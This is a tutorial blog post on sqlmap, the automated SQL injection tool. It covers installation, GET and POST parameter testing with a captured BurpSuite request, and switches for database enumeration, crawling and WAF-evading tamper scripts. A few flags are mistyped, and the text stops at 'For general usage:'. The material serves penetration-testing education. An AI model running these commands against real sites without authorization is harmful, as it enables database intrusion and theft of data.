Introduction & Pre-requisite
SQLmap is an automated penetration testing tool for SQL injection which tops the A03:2021 – Injection list. It is different from Cross-Site Request Forgery.
In this post, you will learn more about the different types of sqlmap commands and switches.
The downloading and installing of sqlmap is pretty straightforward.
If you are using Kali Linux or any other popular Linux distribution, Git is already pre-installed and you can skip the next step.
Type the following command to install Git if it is not installed.
sudo apt-get install git
With git installed, you can clone the latest version of sqlmap by entering the following command. This will automatically download all the files in the sqlmap project.
git clone https://github.com/sqlmapproject/sqlmap.git
How to update sqlmap in kali linux
sudo sh -c "apt update && apt install -y sqlmap"Usage & Examples
1) GET Request
This method is most commonly used where the parameters are in the URL.
python sqlmap -u "https://target.com/index.php?name=abc*&lastname=def"The switches used in the above sqlmap command are:
-u = URL
* = specifies which parameter to scan (name in this case)
2) POST Request
For a POST requests, the parameters are located in the body section of an HTTP request and therefore, additional steps are required before sqlmap is able to detect and test the parameters for vulnerability.
2.1) Parsing using BurpSuite
Step 1: Intercept the post request using BurpSuite
Step 2: Right-click on the panel and click on “Copy to file”
Step 3: Parse the text file into BurpSuite using the -r switch
An example of the command is as follows:
python sqlmap -r /file.txt -p "def" --dbs --threads 5The switches used in the above sqlmap command are:
-r = Request file
-p = Parameter
–dbs = Enumerate database
–threads = Number of threads running
An example of a post request:
POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/saveMailGroups HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 523
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/viewMailGroup/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132
data[MailGroup][id]=&data[MailGroup][group_name]=&data[MailGroup][area_id]=1&data[MailGroup][visible]=1&data[MailGroup][security]=none&data[MailGroup][confirmation_in_message]=Hi [$user],
your+subscription+is+now+active,+soon+you'll+receive+the "[$title]"+newsletter.&data[MailGroup][confirmation_out_message]=Hi [$user],
you+have+been+unsubscribed+from "[$title]"2.2) Parsing directly into SQLMap
Step 1: Intercept the post request using BurpSuite
Step 2: Run the following sqlmap command:
python sqlmap –u "https://target.com/index.php" --cookies= --data=Using the example POST request above, the contents going into the –cookies switch should be:
Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132Next, the contents going into the data section should be:
data[MailGroup][id]=&data[MailGroup][group_name]=&data[MailGroup][area_id]=1&data[MailGroup][visible]=1&data[MailGroup][security]=none&data[MailGroup][confirmation_in_message]=Hi [$user],
your+subscription+is+now+active,+soon+you'll+receive+the "[$title]"+newsletter.&data[MailGroup][confirmation_out_message]=Hi [$user],
you+have+been+unsubscribed+from "[$title]"Miscellaneous sqlmap commands
Using the above methods, you should be able to test in most scenarios. However, there are also some other switches that may be useful.
Here are some useful sqlmap commands:
- If you need to save some time, you can increase the number of threads used. Do note that this might affect the results for the time-based related tests.
python sqlmap -u "https://target.com/index.php?name=abc" --threads=10- Verbosity is an indicator to the tester that the tool is still running. This is useful for large applications with slow bandwidth. I personally use a verbosity of level 3 since it shows the payload only and therefore, doesn’t overwhelm the console.
python sqlmap -u "https://target.com/index.php?name=abc" -v 3- If there are a lot of parameters within a single page, you could use the batch switch to save yourself some waiting time. What this switch does is essentially use the default option instead of waiting for the user’s input.
python sqlmap -u "https://target.com/index.php?name=abc" --batch- You could also increase the risk and level value for sqlmap to test for more payloads.
python sqlmap -u "https://target.com/index.php?name=abc" --risk=3 --level=5- Another useful switch is the answer switch where you specify the response in advance. This used together with the batch switch is a real-time saver.
python sqlmap -u "https://target.com/index.php?name=abc" --batch --answers="keep testing=Y,sitemap=Y,skip further tests=N"- Large-scale applications with tons of forms can be tedious to test. This is where the crawl (the depth to crawl) and forms switch can be used to quicken the process. You can include the switch crawl-exclude to exclude pages like the logout page.
python sqlmap -u "https://target.com/index.php" --crawl=5 --crawl-exclude="logout" --forms- To bypass WAF, you could use the tamper switch to modify the payload. You are able to use multiple tampering scripts at once. (source: Bugcrowd Forum)
python sqlmap -u 'https://target.com/index.php?name=abc’ --tamper=apostrophemask,apostrophenullencodeFor general usage: